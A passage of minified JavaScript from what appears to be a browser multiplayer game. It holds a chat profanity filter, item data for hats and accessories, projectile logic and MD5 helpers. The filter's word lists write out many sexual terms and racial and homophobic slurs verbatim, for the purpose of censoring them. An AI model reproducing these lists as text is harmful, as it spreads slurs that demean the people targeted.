"cocksukka",
"cok",
"cokmuncher",
"coksucka",
"coon",
"cox",
"crap",
"cum",
"cummer",
"cumming",
"cums",
"cumshot",
"cunilingus",
"cunillingus",
"cunnilingus",
"cunt",
"cuntlick",
"cuntlicker",
"cuntlicking",
"cunts",
"cyalis",
"cyberfuc",
"cyberfuck",
"cyberfucked",
"cyberfucker",
"cyberfuckers",
"cyberfucking",
"d1ck",
"damn",
"dick",
"dickhead",
"dildo",
"dildos",
"dink",
"dinks",
"dirsa",
"dlck",
"dog-fucker",
"doggin",
"dogging",
"donkeyribber",
"doosh",
"duche",
"dyke",
"ejaculate",
"ejaculated",
"ejaculates",
"ejaculating",
"ejaculatings",
"ejaculation",
"ejakulate",
"f u c k",
"f u c k e r",
"f4nny",
"fag",
"fagging",
"faggitt",
"faggot",
"faggs",
"fagot",
"fagots",
"fags",
"fanny",
"fannyflaps",
"fannyfucker",
"fanyy",
"fatass",
"fcuk",
"fcuker",
"fcuking",
"feck",
"fecker",
"felching",
"fellate",
"fellatio",
"fingerfuck",
"fingerfucked",
"fingerfucker",
"fingerfuckers",
"fingerfucking",
"fingerfucks",
"fistfuck",
"fistfucked",
"fistfucker",
"fistfuckers",
"fistfucking",
"fistfuckings",
"fistfucks",
"flange",
"fook",
"fooker",
"fuck",
"fucka",
"fucked",
"fucker",
"fuckers",
"fuckhead",
"fuckheads",
"fuckin",
"fucking",
"fuckings",
"fuckingshitmotherfucker",
"fuckme",
"fucks",
"fuckwhit",
"fuckwit",
"fudge packer",
"fudgepacker",
"fuk",
"fuker",
"fukker",
"fukkin",
"fuks",
"fukwhit",
"fukwit",
"fux",
"fux0r",
"f_u_c_k",
"gangbang",
"gangbanged",
"gangbangs",
"gaylord",
"gaysex",
"goatse",
"God",
"god-dam",
"god-damned",
"goddamn",
"goddamned",
"hardcoresex",
"hell",
"heshe",
"hoar",
"hoare",
"hoer",
"homo",
"hore",
"horniest",
"horny",
"hotsex",
"jack-off",
"jackoff",
"jap",
"jerk-off",
"jism",
"jiz",
"jizm",
"jizz",
"kawk",
"knob",
"knobead",
"knobed",
"knobend",
"knobhead",
"knobjocky",
"knobjokey",
"kock",
"kondum",
"kondums",
"kum",
"kummer",
"kumming",
"kums",
"kunilingus",
"l3i+ch",
"l3itch",
"labia",
"lust",
"lusting",
"m0f0",
"m0fo",
"m45terbate",
"ma5terb8",
"ma5terbate",
"masochist",
"master-bate",
"masterb8",
"masterbat*",
"masterbat3",
"masterbate",
"masterbation",
"masterbations",
"masturbate",
"mo-fo",
"mof0",
"mofo",
"mothafuck",
"mothafucka",
"mothafuckas",
"mothafuckaz",
"mothafucked",
"mothafucker",
"mothafuckers",
"mothafuckin",
"mothafucking",
"mothafuckings",
"mothafucks",
"mother fucker",
"motherfuck",
"motherfucked",
"motherfucker",
"motherfuckers",
"motherfuckin",
"motherfucking",
"motherfuckings",
"motherfuckka",
"motherfucks",
"muff",
"mutha",
"muthafecker",
"muthafuckker",
"muther",
"mutherfucker",
"n1gga",
"n1gger",
"nazi",
"nigg3r",
"nigg4h",
"nigga",
"niggah",
"niggas",
"niggaz",
"nigger",
"niggers",
"nob",
"nob jokey",
"nobhead",
"nobjocky",
"nobjokey",
"numbnuts",
"nutsack",
"orgasim",
"orgasims",
"orgasm",
"orgasms",
"p0rn",
"pawn",
"pecker",
"penis",
"penisfucker",
"phonesex",
"phuck",
"phuk",
"phuked",
"phuking",
"phukked",
"phukking",
"phuks",
"phuq",
"pigfucker",
"pimpis",
"piss",
"pissed",
"pisser",
"pissers",
"pisses",
"pissflaps",
"pissin",
"pissing",
"pissoff",
"poop",
"porn",
"porno",
"pornography",
"pornos",
"prick",
"pricks",
"pron",
"pube",
"pusse",
"pussi",
"pussies",
"pussy",
"pussys",
"rectum",
"retard",
"rimjaw",
"rimming",
"s hit",
"s.o.b.",
"sadist",
"schlong",
"screwing",
"scroat",
"scrote",
"scrotum",
"semen",
"sex",
"sh!+",
"sh!t",
"sh1t",
"shag",
"shagger",
"shaggin",
"shagging",
"shemale",
"shi+",
"shit",
"shitdick",
"shite",
"shited",
"shitey",
"shitfuck",
"shitfull",
"shithead",
"shiting",
"shitings",
"shits",
"shitted",
"shitter",
"shitters",
"shitting",
"shittings",
"shitty",
"skank",
"slut",
"sluts",
"smegma",
"smut",
"snatch",
"son-of-a-bitch",
"spac",
"spunk",
"s_h_i_t",
"t1tt1e5",
"t1tties",
"teets",
"teez",
"testical",
"testicle",
"tit",
"titfuck",
"tits",
"titt",
"tittie5",
"tittiefucker",
"titties",
"tittyfuck",
"tittywank",
"titwank",
"tosser",
"turd",
"tw4t",
"twat",
"twathead",
"twatty",
"twunt",
"twunter",
"v14gra",
"v1gra",
"vagina",
"viagra",
"vulva",
"w00se",
"wang",
"wank",
"wanker",
"wanky",
"whoar",
"whore",
"willies",
"willy",
"xrated",
"xxx",
],
Mc =
/\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi,
Ec = {
object: Tc,
array: Ic,
regex: Mc,
};
const Pc = Sc.words,
Cc = Ec.array;
class Ac {
constructor(t = {}) {
Object.assign(this, {
list:
(t.emptyList && []) ||
Array.prototype.concat.apply(Pc, [Cc, t.list || []]),
exclude: t.exclude || [],
splitRegex: t.splitRegex || /\b/,
placeHolder: t.placeHolder || "*",
regex: t.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
replaceRegex: t.replaceRegex || /\w/g,
});
}
isProfane(t) {
return (
this.list.filter((n) => {
let i = RegExp(`\\b${n.replace(/(\W)/g, "\\$1")}\\b`, "gi");
return !this.exclude.includes(n.toLowerCase()) && i.test(t);
}).length > 0
);
}
replaceWord(t) {
return t
.replace(this.regex, "")
.replace(this.replaceRegex, this.placeHolder);
}
clean(t) {
return t
.split(this.splitRegex)
.map((t) => (this.isProfane(t) ? this.replaceWord(t) : t))
.join(this.splitRegex.exec(t)[0]);
}
addWords() {
let t = Array.from(arguments);
this.list.push(...t),
t
.map((t) => t.toLowerCase())
.forEach((t) => {
this.exclude.includes(t) &&
this.exclude.splice(this.exclude.indexOf(t), 1);
});
}
removeWords() {
this.exclude.push(...Array.from(arguments).map((t) => t.toLowerCase()));
}
}
var Dc = Ac;
const Yr = new Dc(),
Oc = [
"jew",
"black",
"baby",
"child",
"white",
"porn",
"pedo",
"trump",
"clinton",
"hitler",
"nazi",
"gay",
"pride",
"sex",
"pleasure",
"touch",
"poo",
"kids",
"rape",
"white power",
"nigga",
"nig nog",
"doggy",
"rapist",
"boner",
"nigger",
"nigg",
"finger",
"nogger",
"nagger",
"nig",
"fag",
"gai",
"pole",
"stripper",
"penis",
"vagina",
"pussy",
"nazi",
"hitler",
"stalin",
"burn",
"chamber",
"cock",
"peen",
"dick",
"spick",
"nieger",
"die",
"satan",
"n|ig",
"nlg",
"cunt",
"c0ck",
"fag",
"lick",
"condom",
"anal",
"shit",
"phile",
"little",
"kids",
"free KR",
"tiny",
"sidney",
"ass",
"kill",
".io",
"(dot)",
"[dot]",
"mini",
"whiore",
"whore",
"faggot",
"github",
"1337",
"666",
"satan",
"senpa",
"discord",
"d1scord",
"mistik",
".io",
"senpa.io",
"sidney",
"sid",
"senpaio",
"vries",
"asa",
];
Yr.addWords(...Oc);
const _s = Math.abs,
at = Math.cos,
lt = Math.sin,
Bs = Math.pow,
Rc = Math.sqrt;
function hslToHex(t, n, i) {
(t /= 360), (i /= 100);
let o, a, r;
if (0 == (n /= 100)) o = a = r = i;
else {
let s = (t, n, i) =>
(i < 0 && (i += 1), i > 1 && (i -= 1), i < 1 / 6)
? t + (n - t) * 6 * i
: i < 0.5
? n
: i < 2 / 3
? t + (n - t) * (2 / 3 - i) * 6
: t,
l = i < 0.5 ? i * (1 + n) : i + n - i * n,
c = 2 * i - l;
(o = s(c, l, t + 1 / 3)), (a = s(c, l, t)), (r = s(c, l, t - 1 / 3));
}
let d = (t) => {
let n = Math.round(255 * t).toString(16);
return 1 === n.length ? "0" + n : n;
},
h = `#${d(o)}${d(a)}${d(r)}`;
return h;
}
const Bc = [
{
id: 45,
name: "Shame!",
dontSell: !0,
price: 0,
scale: 120,
desc: "hacks are for losers",
},
{
id: 51,
name: "Moo Cap",
price: 0,
scale: 120,
desc: "coolest mooer around",
},
{
id: 50,
name: "Apple Cap",
price: 0,
scale: 120,
desc: "apple farms remembers",
},
{
id: 28,
name: "Moo Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 29,
name: "Pig Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 30,
name: "Fluff Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 36,
name: "Pandou Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 37,
name: "Bear Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 38,
name: "Monkey Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 44,
name: "Polar Head",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 35,
name: "Fez Hat",
price: 0,
scale: 120,
desc: "no effect",
},
{
id: 42,
name: "Enigma Hat",
price: 0,
scale: 120,
desc: "join the enigma army",
},
{
id: 43,
name: "Blitz Hat",
price: 0,
scale: 120,
desc: "hey everybody i'm blitz",
},
{
id: 49,
name: "Bob XIII Hat",
price: 0,
scale: 120,
desc: "like and subscribe",
},
{
id: 57,
name: "Pumpkin",
price: 50,
scale: 120,
desc: "Spooooky",
},
{
id: 8,
name: "Bummle Hat",
price: 100,
scale: 120,
desc: "no effect",
},
{
id: 2,
name: "Straw Hat",
price: 500,
scale: 120,
desc: "no effect",
},
{
id: 15,
name: "Winter Cap",
price: 600,
scale: 120,
desc: "allows you to move at normal speed in snow",
coldM: 1,
},
{
id: 5,
name: "Cowboy Hat",
price: 1e3,
scale: 120,
desc: "no effect",
},
{
id: 4,
name: "Ranger Hat",
price: 2e3,
scale: 120,
desc: "no effect",
},
{
id: 18,
name: "Explorer Hat",
price: 2e3,
scale: 120,
desc: "no effect",
},
{
id: 31,
name: "Flipper Hat",
price: 2500,
scale: 120,
desc: "have more control while in water",
watrImm: !0,
},
{
id: 1,
name: "Marksman Cap",
price: 3e3,
scale: 120,
desc: "increases arrow speed and range",
aMlt: 1.3,
},
{
id: 10,
name: "Bush Gear",
price: 3e3,
scale: 160,
desc: "allows you to disguise yourself as a bush",
},
{
id: 48,
name: "Halo",
price: 3e3,
scale: 120,
desc: "no effect",
},
{
id: 6,
name: "Soldier Helmet",
price: 4e3,
scale: 120,
desc: "reduces damage taken but slows movement",
spdMult: 0.94,
dmgMult: 0.75,
},
{
id: 23,
name: "Anti Venom Gear",
price: 4e3,
scale: 120,
desc: "makes you immune to poison",
poisonRes: 1,
},
{
id: 13,
name: "Medic Gear",
price: 5e3,
scale: 110,
desc: "slowly regenerates health over time",
healthRegen: 3,
},
{
id: 9,
name: "Miners Helmet",
price: 5e3,
scale: 120,
desc: "earn 1 extra gold per resource",
extraGold: 1,
},
{
id: 32,
name: "Musketeer Hat",
price: 5e3,
scale: 120,
desc: "reduces cost of projectiles",
projCost: 0.5,
},
{
id: 7,
name: "Bull Helmet",
price: 6e3,
scale: 120,
desc: "increases damage done but drains health",
healthRegen: -5,
dmgMultO: 1.5,
spdMult: 0.96,
},
{
id: 22,
name: "Emp Helmet",
price: 6e3,
scale: 120,
desc: "turrets won't attack but you move slower",
antiTurret: 1,
spdMult: 0.7,
},
{
id: 12,
name: "Booster Hat",
price: 6e3,
scale: 120,
desc: "increases your movement speed",
spdMult: 1.16,
},
{
id: 26,
name: "Barbarian Armor",
price: 8e3,
scale: 120,
desc: "knocks back enemies that attack you",
dmgK: 0.6,
},
{
id: 21,
name: "Plague Mask",
price: 1e4,
scale: 120,
desc: "melee attacks deal poison damage",
poisonDmg: 5,
poisonTime: 6,
},
{
id: 46,
name: "Bull Mask",
price: 1e4,
scale: 120,
desc: "bulls won't target you unless you attack them",
bullRepel: 1,
},
{
id: 14,
name: "Windmill Hat",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "generates points while worn",
pps: 1.5,
},
{
id: 11,
name: "Spike Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "deal damage to players that damage you",
dmg: 0.45,
},
{
id: 53,
name: "Turret Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "you become a walking turret",
turret: {
proj: 1,
range: 700,
rate: 2500,
},
spdMult: 0.7,
},
{
id: 20,
name: "Samurai Armor",
price: 12e3,
scale: 120,
desc: "increased attack speed and fire rate",
atkSpd: 0.78,
},
{
id: 58,
name: "Dark Knight",
price: 12e3,
scale: 120,
desc: "restores health when you deal damage",
healD: 0.4,
},
{
id: 27,
name: "Scavenger Gear",
price: 15e3,
scale: 120,
desc: "earn double points for each kill",
kScrM: 2,
},
{
id: 40,
name: "Tank Gear",
price: 15e3,
scale: 120,
desc: "increased damage to buildings but slower movement",
spdMult: 0.3,
bDmg: 3.3,
},
{
id: 52,
name: "Thief Gear",
price: 15e3,
scale: 120,
desc: "steal half of a players gold when you kill them",
goldSteal: 0.5,
},
{
id: 55,
name: "Bloodthirster",
price: 2e4,
scale: 120,
desc: "Restore Health when dealing damage. And increased damage",
healD: 0.25,
dmgMultO: 1.2,
},
{
id: 56,
name: "Assassin Gear",
price: 2e4,
scale: 120,
desc: "Go invisible when not moving. Can't eat. Increased speed",
noEat: !0,
spdMult: 1.1,
invisTimer: 1e3,
},
],
zc = [
{
id: 12,
name: "Snowball",
price: 1e3,
scale: 105,
xOff: 18,
desc: "no effect",
},
{
id: 9,
name: "Tree Cape",
price: 1e3,
scale: 90,
desc: "no effect",
},
{
id: 10,
name: "Stone Cape",
price: 1e3,
scale: 90,
desc: "no effect",
},
{
id: 3,
name: "Cookie Cape",
price: 1500,
scale: 90,
desc: "no effect",
},
{
id: 8,
name: "Cow Cape",
price: 2e3,
scale: 90,
desc: "no effect",
},
{
id: 11,
name: "Monkey Tail",
price: 2e3,
scale: 97,
xOff: 25,
desc: "Super speed but reduced damage",
spdMult: 1.35,
dmgMultO: 0.2,
},
{
id: 17,
name: "Apple Basket",
price: 3e3,
scale: 80,
xOff: 12,
desc: "slowly regenerates health over time",
healthRegen: 1,
},
{
id: 6,
name: "Winter Cape",
price: 3e3,
scale: 90,
desc: "no effect",
},
{
id: 4,
name: "Skull Cape",
price: 4e3,
scale: 90,
desc: "no effect",
},
{
id: 5,
name: "Dash Cape",
price: 5e3,
scale: 90,
desc: "no effect",
},
{
id: 2,
name: "Dragon Cape",
price: 6e3,
scale: 90,
desc: "no effect",
},
{
id: 1,
name: "Super Cape",
price: 8e3,
scale: 90,
desc: "no effect",
},
{
id: 7,
name: "Troll Cape",
price: 8e3,
scale: 90,
desc: "no effect",
},
{
id: 14,
name: "Thorns",
price: 1e4,
scale: 115,
xOff: 20,
desc: "no effect",
},
{
id: 15,
name: "Blockades",
price: 1e4,
scale: 95,
xOff: 15,
desc: "no effect",
},
{
id: 20,
name: "Devils Tail",
price: 1e4,
scale: 95,
xOff: 20,
desc: "no effect",
},
{
id: 16,
name: "Sawblade",
price: 12e3,
scale: 90,
spin: !0,
xOff: 0,
desc: "deal damage to players that damage you",
dmg: 0.15,
},
{
id: 13,
name: "Angel Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "slowly regenerates health over time",
healthRegen: 3,
},
{
id: 19,
name: "Shadow Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "increased movement speed",
spdMult: 1.1,
},
{
id: 18,
name: "Blood Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "restores health when you deal damage",
healD: 0.2,
},
{
id: 21,
name: "Corrupt X Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "deal damage to players that damage you",
dmg: 0.25,
},
],
$r = {
hats: Bc,
accessories: zc,
};
function Hc(t, n, i, o, a, r, s) {
this.init = function (t, n, i, o, a, r, l, c, d) {
(this.active = !0),
(this.indx = t),
(this.x = n),
(this.y = i),
(this.dir = o),
(this.skipMov = !0),
(this.speed = a),
(this.dmg = r),
(this.scale = c),
(this.range = l),
(this.owner = d),
s && (this.sentTo = {});
};
let l = [],
c;
this.update = function (d) {
if (this.active) {
let h = this.speed * d,
u;
if (
(this.skipMov
? (this.skipMov = !1)
: ((this.x += h * Math.cos(this.dir)),
(this.y += h * Math.sin(this.dir)),
(this.range -= h),
this.range <= 0 &&
((this.x += this.range * Math.cos(this.dir)),
(this.y += this.range * Math.sin(this.dir)),
(h = 1),
(this.range = 0),
(this.active = !1))),
s)
) {
for (var p = 0; p < t.length; ++p)
!this.sentTo[t[p].id] &&
t[p].canSee(this) &&
((this.sentTo[t[p].id] = 1),
s.send(
t[p].id,
"X",
r.fixTo(this.x, 1),
r.fixTo(this.y, 1),
r.fixTo(this.dir, 2),
r.fixTo(this.range, 1),
this.speed,
this.indx,
this.layer,
this.sid
));
l.length = 0;
for (var p = 0; p < t.length + n.length; ++p)
(c = t[p] || n[p - t.length]).alive &&
c != this.owner &&
!(this.owner.team && c.team == this.owner.team) &&
r.lineInRect(
c.x - c.scale,
c.y - c.scale,
c.x + c.scale,
c.y + c.scale,
this.x,
this.y,
this.x + h * Math.cos(this.dir),
this.y + h * Math.sin(this.dir)
) &&
l.push(c);
let f = i.getGridArrays(this.x, this.y, this.scale);
for (let $ = 0; $ < f.length; ++$)
for (let g = 0; g < f[$].length; ++g)
(u = (c = f[$][g]).getScale()),
c.active &&
this.ignoreObj != c.sid &&
this.layer <= c.layer &&
0 > l.indexOf(c) &&
!c.ignoreCollision &&
r.lineInRect(
c.x - u,
c.y - u,
c.x + u,
c.y + u,
this.x,
this.y,
this.x + h * Math.cos(this.dir),
this.y + h * Math.sin(this.dir)
) &&
l.push(c);
if (l.length > 0) {
let m = null,
_ = null,
k = null;
for (var p = 0; p < l.length; ++p)
(k = r.getDistance(this.x, this.y, l[p].x, l[p].y)),
(null == _ || k < _) && ((_ = k), (m = l[p]));
if (m.isPlayer || m.isAI) {
let v = 0.3 * (m.weightM || 1);
(m.xVel += v * Math.cos(this.dir)),
(m.yVel += v * Math.sin(this.dir)),
(null != m.weaponIndex &&
o.weapons[m.weaponIndex].shield &&
r.getAngleDist(this.dir + Math.PI, m.dir) <= a.shieldAngle) ||
m.changeHealth(-this.dmg, this.owner, this.owner);
} else {
m.projDmg &&
m.health &&
m.changeHealth(-this.dmg) &&
i.disableObj(m);
for (var p = 0; p < t.length; ++p)
t[p].active &&
(m.sentTo[t[p].id] &&
(m.active
? t[p].canSee(m) &&
s.send(t[p].id, "L", r.fixTo(this.dir, 2), m.sid)
: s.send(t[p].id, "Q", m.sid)),
m.active ||
m.owner != t[p] ||
t[p].changeItemCount(m.group.id, -1));
}
this.active = !1;
for (var p = 0; p < t.length; ++p)
this.sentTo[t[p].id] &&
s.send(t[p].id, "Y", this.sid, r.fixTo(_, 1));
}
}
}
};
}
var On = {},
Fc = {
get exports() {
return On;
},
set exports(e) {
On = e;
},
},
Rn = {},
Vc = {
get exports() {
return Rn;
},
set exports(e) {
Rn = e;
},
};
!(function () {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
n = {
rotl: function (t, n) {
return (t << n) | (t >>> (32 - n));
},
rotr: function (t, n) {
return (t << (32 - n)) | (t >>> n);
},
endian: function (t) {
if (t.constructor == Number)
return (16711935 & n.rotl(t, 8)) | (4278255360 & n.rotl(t, 24));
for (var i = 0; i < t.length; i++) t[i] = n.endian(t[i]);
return t;
},
randomBytes: function (t) {
for (var n = []; t > 0; t--) n.push(Math.floor(256 * Math.random()));
return n;
},
bytesToWords: function (t) {
for (var n = [], i = 0, o = 0; i < t.length; i++, o += 8)
n[o >>> 5] |= t[i] << (24 - (o % 32));
return n;
},
wordsToBytes: function (t) {
for (var n = [], i = 0; i < 32 * t.length; i += 8)
n.push((t[i >>> 5] >>> (24 - (i % 32))) & 255);
return n;
},
bytesToHex: function (t) {
for (var n = [], i = 0; i < t.length; i++)
n.push((t[i] >>> 4).toString(16)), n.push((15 & t[i]).toString(16));
return n.join("");
},
hexToBytes: function (t) {
for (var n = [], i = 0; i < t.length; i += 2)
n.push(parseInt(t.substr(i, 2), 16));
return n;
},
bytesToBase64: function (n) {
for (var i = [], o = 0; o < n.length; o += 3)
for (
var a = (n[o] << 16) | (n[o + 1] << 8) | n[o + 2], r = 0;
r < 4;
r++
)
8 * o + 6 * r <= 8 * n.length
? i.push(t.charAt((a >>> (6 * (3 - r))) & 63))
: i.push("=");
return i.join("");
},
base64ToBytes: function (n) {
n = n.replace(/[^A-Z0-9+\/]/gi, "");
for (var i = [], o = 0, a = 0; o < n.length; a = ++o % 4)
0 != a &&
i.push(
((t.indexOf(n.charAt(o - 1)) & (Math.pow(2, -2 * a + 8) - 1)) <<
(2 * a)) |
(t.indexOf(n.charAt(o)) >>> (6 - 2 * a))
);
return i;
},
};
Vc.exports = n;
})();
var _n = {
utf8: {
stringToBytes: function (t) {
return _n.bin.stringToBytes(unescape(encodeURIComponent(t)));
},
bytesToString: function (t) {
return decodeURIComponent(escape(_n.bin.bytesToString(t)));
},
},
bin: {
stringToBytes: function (t) {
for (var n = [], i = 0; i < t.length; i++)
n.push(255 & t.charCodeAt(i));
return n;
},
bytesToString: function (t) {
for (var n = [], i = 0; i < t.length; i++)
n.push(String.fromCharCode(t[i]));
return n.join("");
},
},
},
zs = _n,
Uc = function (t) {
return null != t && (Kr(t) || Lc(t) || !!t._isBuffer);
};
function Kr(t) {
return (
!!t.constructor &&
"function" == typeof t.constructor.isBuffer &&
t.constructor.isBuffer(t)
);
}
function Lc(t) {
return (
"function" == typeof t.readFloatLE &&
"function" == typeof t.slice &&
Kr(t.slice(0, 0))
);
}
function Ge() {
if (Hs) return ji;
function t(t, n, i, o, a, r) {
return {
tag: t,
key: n,
attrs: i,
children: o,
text: a,
dom: r,
domSize: void 0,
state: void 0,
events: void 0,
instance: void 0,
};
}
return (
(Hs = 1),
(t.normalize = function (n) {
return Array.isArray(n)
? t("[", void 0, void 0, t.normalizeChildren(n), void 0, void 0)
: null == n || "boolean" == typeof n
? null
: "object" == typeof n
? n
: t("#", void 0, void 0, String(n), void 0, void 0);
}),
(t.normalizeChildren = function (n) {
var i = [];
if (n.length) {
for (var o = null != n[0] && null != n[0].key, a = 1; a < n.length; a++)
if ((null != n[a] && null != n[a].key) !== o)
throw TypeError(
o && (null != n[a] || "boolean" == typeof n[a])
? "In fragments, vnodes must either all have keys or none have keys. You may wish to consider using an explicit keyed empty fragment, m.fragment({key: ...}), instead of a hole."
: "In fragments, vnodes must either all have keys or none have keys."
);
for (var a = 0; a < n.length; a++) i[a] = t.normalize(n[a]);
}
return i;
}),
(ji = t)
);
}
!(function () {
var t = Rn,
n = zs.utf8,
i = Uc,
o = zs.bin,
a = function (r, s) {
r.constructor == String
? (r =
s && "binary" === s.encoding
? o.stringToBytes(r)
: n.stringToBytes(r))
: i(r)
? (r = Array.prototype.slice.call(r, 0))
: Array.isArray(r) ||
r.constructor === Uint8Array ||
(r = r.toString());
for (
var l = t.bytesToWords(r),
c = 8 * r.length,
d = 1732584193,
h = -271733879,
u = -1732584194,
p = 271733878,
f = 0;
f < l.length;
f++
)
l[f] =
(((l[f] << 8) | (l[f] >>> 24)) & 16711935) |
(((l[f] << 24) | (l[f] >>> 8)) & 4278255360);
(l[c >>> 5] |= 128 << c % 32), (l[(((c + 64) >>> 9) << 4) + 14] = c);
for (
var $ = a._ff, g = a._gg, m = a._hh, _ = a._ii, f = 0;
f < l.length;
f += 16
) {
var k = d,
v = h,
b = u,
w = p;
(d = $(d, h, u, p, l[f + 0], 7, -680876936)),
(p = $(p, d, h, u, l[f + 1], 12, -389564586)),
(u = $(u, p, d, h, l[f + 2], 17, 606105819)),
(h = $(h, u, p, d, l[f + 3], 22, -1044525330)),
(d = $(d, h, u, p, l[f + 4], 7, -176418897)),
(p = $(p, d, h, u, l[f + 5], 12, 1200080426)),
(u = $(u, p, d, h, l[f + 6], 17, -1473231341)),
(h = $(h, u, p, d, l[f + 7], 22, -45705983)),
(d = $(d, h, u, p, l[f + 8], 7, 1770035416)),
(p = $(p, d, h, u, l[f + 9], 12, -1958414417)),
(u = $(u, p, d, h, l[f + 10], 17, -42063)),
(h = $(h, u, p, d, l[f + 11], 22, -1990404162)),
(d = $(d, h, u, p, l[f + 12], 7, 1804603682)),
(p = $(p, d, h, u, l[f + 13], 12, -40341101)),
(u = $(u, p, d, h, l[f + 14], 17, -1502002290)),
(h = $(h, u, p, d, l[f + 15], 22, 1236535329)),
(d = g(d, h, u, p, l[f + 1], 5, -165796510)),
(p = g(p, d, h, u, l[f + 6], 9, -1069501632)),
(u = g(u, p, d, h, l[f + 11], 14, 643717713)),
(h = g(h, u, p, d, l[f + 0], 20, -373897302)),
(d = g(d, h, u, p, l[f + 5], 5, -701558691)),
(p = g(p, d, h, u, l[f + 10], 9, 38016083)),
(u = g(u, p, d, h, l[f + 15], 14, -660478335)),
(h = g(h, u, p, d, l[f + 4], 20, -405537848)),
(d = g(d, h, u, p, l[f + 9], 5, 568446438)),
(p = g(p, d, h, u, l[f + 14], 9, -1019803690)),
(u = g(u, p, d, h, l[f + 3], 14, -187363961)),
(h = g(h, u, p, d, l[f + 8], 20, 1163531501)),
(d = g(d, h, u, p, l[f + 13], 5, -1444681467)),
(p = g(p, d, h, u, l[f + 2], 9, -51403784)),
(u = g(u, p, d, h, l[f + 7], 14, 1735328473)),
(h = g(h, u, p, d, l[f + 12], 20, -1926607734)),
(d = m(d, h, u, p, l[f + 5], 4, -378558)),
